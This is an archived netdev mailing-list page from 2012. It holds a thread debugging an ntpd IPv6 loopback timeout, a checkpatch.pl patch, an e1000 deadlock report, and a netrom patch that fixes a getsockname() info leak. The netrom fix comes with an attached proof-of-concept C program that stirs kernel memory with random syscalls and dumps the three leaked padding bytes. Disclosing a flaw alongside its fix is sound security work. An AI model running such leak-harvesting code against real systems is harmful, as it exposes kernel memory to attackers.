On Sun, 2012-10-14 at 22:25 +0200, Eric Dumazet wrote:

> 
> Hmm
> 
> pidof ntpd
> 
> should give you the pid of ntpd process : 368
> 
> So try 
> 
> lsof -p 368  # instead of lsof -p `pidof ntpd`

Also post :

^ permalink raw reply

* Re: regression when connecting to ipv6 localhost
From: Eric Dumazet @ 2012-10-14 20:25 UTC (permalink / raw)
  To: Jan Hinnerk Stosch; +Cc: netdev
In-Reply-To: <CAO_aot7wZAqqQForAe-9aLnALqm1LdeaEv+ZKqiw3V_DCfqjRw@mail.gmail.com>

On Sun, 2012-10-14 at 21:57 +0200, Jan Hinnerk Stosch wrote:
> 2012/10/14 Eric Dumazet <eric.dumazet@gmail.com>:
> > On Sun, 2012-10-14 at 21:48 +0200, Jan Hinnerk Stosch wrote:
> >
> >> ntp.conf is (without comments):
> >> server fritz.box iburst
> >> restrict default noquery nopeer nomodify
> >> restrict 127.0.0.1
> >> restrict ::1
> >> driftfile /var/lib/ntp/ntp.drift
> >> logfile /var/log/ntp.log
> >>
> >> "lsof -p `pidof ntpd`" gives nothing
> >>
> >> and "ntpq -p ::1" results in the same timeout error "::1: timed out,
> >> nothing received
> >> ***Request timed out".
> >
> > So your ntpd is not running ?
> >
> > ps aux | grep ntpd
> >
> >
> >
> 
> No, of course it is running:
> ntp        368  0.0  0.0  31288  2128 ?        Ss   16:51   0:00
> /usr/bin/ntpd -g -u ntp:ntp


Hmm

pidof ntpd

should give you the pid of ntpd process : 368

So try 

lsof -p 368  # instead of lsof -p `pidof ntpd`

^ permalink raw reply

* Re: regression when connecting to ipv6 localhost
From: Jan Hinnerk Stosch @ 2012-10-14 19:57 UTC (permalink / raw)
  To: Eric Dumazet, netdev
In-Reply-To: <1350244485.21172.17077.camel@edumazet-glaptop>

2012/10/14 Eric Dumazet <eric.dumazet@gmail.com>:
> On Sun, 2012-10-14 at 21:48 +0200, Jan Hinnerk Stosch wrote:
>
>> ntp.conf is (without comments):
>> server fritz.box iburst
>> restrict default noquery nopeer nomodify
>> restrict 127.0.0.1
>> restrict ::1
>> driftfile /var/lib/ntp/ntp.drift
>> logfile /var/log/ntp.log
>>
>> "lsof -p `pidof ntpd`" gives nothing
>>
>> and "ntpq -p ::1" results in the same timeout error "::1: timed out,
>> nothing received
>> ***Request timed out".
>
> So your ntpd is not running ?
>
> ps aux | grep ntpd
>
>
>

No, of course it is running:
ntp        368  0.0  0.0  31288  2128 ?        Ss   16:51   0:00
/usr/bin/ntpd -g -u ntp:ntp

^ permalink raw reply

* Re: regression when connecting to ipv6 localhost
From: Eric Dumazet @ 2012-10-14 19:54 UTC (permalink / raw)
  To: Jan Hinnerk Stosch; +Cc: netdev
In-Reply-To: <CAO_aot7BQqob=V9MEDSFnmCCNsxgjghC5e3NuQonqY8GCkV1Og@mail.gmail.com>

On Sun, 2012-10-14 at 21:48 +0200, Jan Hinnerk Stosch wrote:

> ntp.conf is (without comments):
> server fritz.box iburst
> restrict default noquery nopeer nomodify
> restrict 127.0.0.1
> restrict ::1
> driftfile /var/lib/ntp/ntp.drift
> logfile /var/log/ntp.log
> 
> "lsof -p `pidof ntpd`" gives nothing
> 
> and "ntpq -p ::1" results in the same timeout error "::1: timed out,
> nothing received
> ***Request timed out".

So your ntpd is not running ?

ps aux | grep ntpd

^ permalink raw reply

* Re: regression when connecting to ipv6 localhost
From: Jan Hinnerk Stosch @ 2012-10-14 19:48 UTC (permalink / raw)
  To: Eric Dumazet, netdev
In-Reply-To: <1350242941.21172.17023.camel@edumazet-glaptop>

2012/10/14 Eric Dumazet <eric.dumazet@gmail.com>:
> On Sun, 2012-10-14 at 17:38 +0200, Jan Hinnerk Stosch wrote:
>> Hi,
>> I detected a small regression since linux 3.6.0:
>> When I run "ntpq -p" to query the status of my ntp-daemon I receive a
>> timeout (localhost.localdomain: timed out, nothing received
>> ***Request timed out). Strace shows that connecting to the ipv6
>> loopback interface times out. If I explicitly use ipv4 (ntpq -4 -p)
>> everything works as intended. Downgrading to linux 3.5.6 solves that
>> issue.
>> I reported a bug both to my distribution
>> (https://bugs.archlinux.org/task/31775) and to the kernel bugtracker
>> (https://bugzilla.kernel.org/show_bug.cgi?id=48741) not knowing
>> exactly which component caused the regression, so I was told to ask
>> this here. At the kernel-report you find an strace and tcpdump output.
>> If you need any further information just tell me, but be patient as me
>> kernel knowledge tends to zero.
>> Thanks in advance, Jan Hinnerk
>> --
>
>
> What gives :
>
> cat /etc/ntp.conf
> lsof -p `pidof ntpd`
> ntpq -p ::1
>
>
>

ntp.conf is (without comments):
server fritz.box iburst
restrict default noquery nopeer nomodify
restrict 127.0.0.1
restrict ::1
driftfile /var/lib/ntp/ntp.drift
logfile /var/log/ntp.log

"lsof -p `pidof ntpd`" gives nothing

and "ntpq -p ::1" results in the same timeout error "::1: timed out,
nothing received
***Request timed out".

^ permalink raw reply

* [PATCH] checkpatch: Improve network block comment style checking
From: Joe Perches @ 2012-10-14 19:35 UTC (permalink / raw)
  To: Larry Finger, Andrew Morton; +Cc: Andy Whitcroft, LKML, netdev
In-Reply-To: <50787432.8030805@lwfinger.net>

Some comment styles in net and drivers/net are flagged inappropriately.

Avoid proclaiming inline comments like:
	int a = b;	/* some comment */
and block comments like:
	/*********************
	 * some comment
	 ********************/
are defective.

Tested with
$ cat drivers/net/t.c
/* foo */

/*
 * foo
 */

/* foo
 */

/* foo
 * bar */

/****************************
 * some long block comment
 ***************************/

struct foo {
	int bar;	/* another test */
};
$

Reported-by: Larry Finger <Larry.Finger@lwfinger.net>
Signed-off-by: Joe Perches <joe@perches.com>
---
 scripts/checkpatch.pl |    6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/scripts/checkpatch.pl b/scripts/checkpatch.pl
index 21a9f5d..f18750e 100755
--- a/scripts/checkpatch.pl
+++ b/scripts/checkpatch.pl
@@ -1890,8 +1890,10 @@ sub process {
 		}
 
 		if ($realfile =~ m@^(drivers/net/|net/)@ &&
-		    $rawline !~ m@^\+[ \t]*(\/\*|\*\/)@ &&
-		    $rawline =~ m@^\+[ \t]*.+\*\/[ \t]*$@) {
+		    $rawline !~ m@^\+[ \t]*\*/[ \t]*$@ &&	#trailing */
+		    $rawline !~ m@^\+.*/\*.*\*/[ \t]*$@ &&	#inline /*...*/
+		    $rawline !~ m@^\+.*\*{2,}/[ \t]*$@ &&	#trailing **/
+		    $rawline =~ m@^\+[ \t]*.+\*\/[ \t]*$@) {	#non blank */
 			WARN("NETWORKING_BLOCK_COMMENT_STYLE",
 			     "networking block comments put the trailing */ on a separate line\n" . $herecurr);
 		}

^ permalink raw reply related

* Re: regression when connecting to ipv6 localhost
From: Eric Dumazet @ 2012-10-14 19:29 UTC (permalink / raw)
  To: Jan Hinnerk Stosch; +Cc: netdev
In-Reply-To: <CAO_aot5U16KLjqtXp2ZS7d+T0WvVY7OXPaA3t2bbN=uvboVV3Q@mail.gmail.com>

On Sun, 2012-10-14 at 17:38 +0200, Jan Hinnerk Stosch wrote:
> Hi,
> I detected a small regression since linux 3.6.0:
> When I run "ntpq -p" to query the status of my ntp-daemon I receive a
> timeout (localhost.localdomain: timed out, nothing received
> ***Request timed out). Strace shows that connecting to the ipv6
> loopback interface times out. If I explicitly use ipv4 (ntpq -4 -p)
> everything works as intended. Downgrading to linux 3.5.6 solves that
> issue.
> I reported a bug both to my distribution
> (https://bugs.archlinux.org/task/31775) and to the kernel bugtracker
> (https://bugzilla.kernel.org/show_bug.cgi?id=48741) not knowing
> exactly which component caused the regression, so I was told to ask
> this here. At the kernel-report you find an strace and tcpdump output.
> If you need any further information just tell me, but be patient as me
> kernel knowledge tends to zero.
> Thanks in advance, Jan Hinnerk
> --


What gives :

cat /etc/ntp.conf
lsof -p `pidof ntpd`
ntpq -p ::1

^ permalink raw reply

* Re: [STABLE REQUEST] add: e1000: fix lockdep splat in shutdown handler
From: Thomas Gleixner @ 2012-10-14 19:24 UTC (permalink / raw)
  To: Steven Rostedt
  Cc: Ben Hutchings, LKML, netdev, David S. Miller, stable,
	Jesse Brandeburg, Jeff Kirsher
In-Reply-To: <1349993385.24256.79.camel@gandalf.local.home>

On Thu, 11 Oct 2012, Steven Rostedt wrote:
> commit 3a3847e007aae732d64d8fd1374126393e9879a3
> Author: Jesse Brandeburg <jesse.brandeburg@intel.com>
> Date:   Wed Jan 4 20:23:33 2012 +0000
> 
>     e1000: fix lockdep splat in shutdown handler

as I discussed with Jesse on IRC, there is another possible deadlock
lurking in the e1000 code.

static void e1000_reinit_safe(struct e1000_adapter *adapter)
{
	while (test_and_set_bit(__E1000_RESETTING, &adapter->flags))
		msleep(1);
	mutex_lock(&adapter->mutex);
	e1000_down(adapter);

e1000_down() waits on the various work tasks to shut down, but those
work functions might be blocked on the adapter mutex.

I have no idea how I managed to trigger that one, but it's real. The
task dump I got out of the machine shows stuff waiting on each other
forever.

I can't give you a receipe to reprodruce. Looking at the code this is
not very surprising. It takes quite some coincidence of having
e1000_reinit_safe() being invoked and the delayed work timer bringing
the work on right after e1000_reinit_safe() took the adapter mutex.

Thanks,

	tglx

^ permalink raw reply

* [PATCH] netrom: fix info leak via getsockname()
From: Clément Lecigne @ 2012-10-14 18:23 UTC (permalink / raw)
  To: netdev

[-- Attachment #1: Type: text/plain, Size: 951 bytes --]

The following patch fixes a 3 bytes info leak via getsockname() on
AF_NETROM socket.

Details:

typedef struct {
	char		ax25_call[7];	/* 6 call + SSID (shifted ascii!) */
} ax25_address;

struct sockaddr_ax25 {
	__kernel_sa_family_t sax25_family;
	ax25_address	sax25_call;
	int		sax25_ndigis;
	/* Digipeater ax25_address sets follow */
};

After compilation, gcc will add 3 padding bytes after sax25_call to
align sax25_ndigis and nr_getname does not clear these padding bytes
before returning to userland, poc attached.

Signed-off-by: Clement Lecigne <clemun@gmail.com>

--- a/net/netrom/af_netrom.c
+++ b/net/netrom/af_netrom.c
@@ -838,6 +838,8 @@ static int nr_getname(struct socket *sock, struct
sockaddr *uaddr,
        struct sock *sk = sock->sk;
        struct nr_sock *nr = nr_sk(sk);

+    memset(sax, 0, sizeof(struct sockaddr_ax25));
+
        lock_sock(sk);
        if (peer != 0) {
                if (sk->sk_state != TCP_ESTABLISHED) {

[-- Attachment #2: netrom.c --]
[-- Type: text/x-csrc, Size: 3217 bytes --]

/* netrom.c - getsockname() 3 bytes infoleak.
 *
 * (c) clem1.be - 2o12
 */
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netrom.h>

/* from Jon Oberheide sploit
 */
void kernop(int fd)
{
    const int   randcalls[] = {
        __NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
        __NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl, 
        __NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup, 
        __NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl, 
        __NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday, 
        __NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
        __NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid, 
        __NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority, 
        __NR_sched_getparam, __NR_sched_get_priority_max
    };
    const int   randsopts[] = { SOL_SOCKET, AF_APPLETALK };
    int         ret, len;
    char        buf[1024];

    do
    {
        switch (rand() % 3)
        {
            case 0:
                ret = syscall(randcalls[rand() % sizeof(randcalls)/sizeof(randcalls[0])]);
                break;
            case 1:
                len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                ret = getsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, &len);
                break;
            case 2:
                len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                ret = setsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, len);
                break;
        }
    }
    while (ret < 0);
}

void dump(unsigned char * data, unsigned int len)
{
    unsigned int dp, p;
    const char trans[] =
    "................................ !\"#$%&'()*+,-./0123456789"
    ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
    "nopqrstuvwxyz{|}~...................................."
    "....................................................."
    "........................................";

    for (dp = 1; dp <= len; dp++)
    {
        printf("%02x ", data[dp-1]);
        if ( (dp % 8) == 0 )
        {
            printf("| ");
            p = dp;
            for ( dp -= 8; dp < p; dp++ ) {
                printf("%c", trans[data[dp]]);
            }
            printf("\n");
        }
    }

    return;
}

int main(void)
{
    struct sockaddr_ax25    sa;
    int                     s, salen;
    char                    prev[sizeof sa];

    s = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (s < 0)
        return -1;

    srand(time(NULL) ^ getpid());

    while (1)
    {
        kernop(s);
        memset(&sa, 0, sizeof sa);
        salen = sizeof sa;
        if (getsockname(s, (struct sockaddr *) &sa, &salen) == 0)
        {
            if (memcmp(&sa, prev, salen) != 0)
            {
                dump((unsigned char *) &sa, salen);
                memcpy(&prev, &sa, salen);
                sleep(2);
            }
        }
    }

    close(s);
    return 0;
}

^ permalink raw reply


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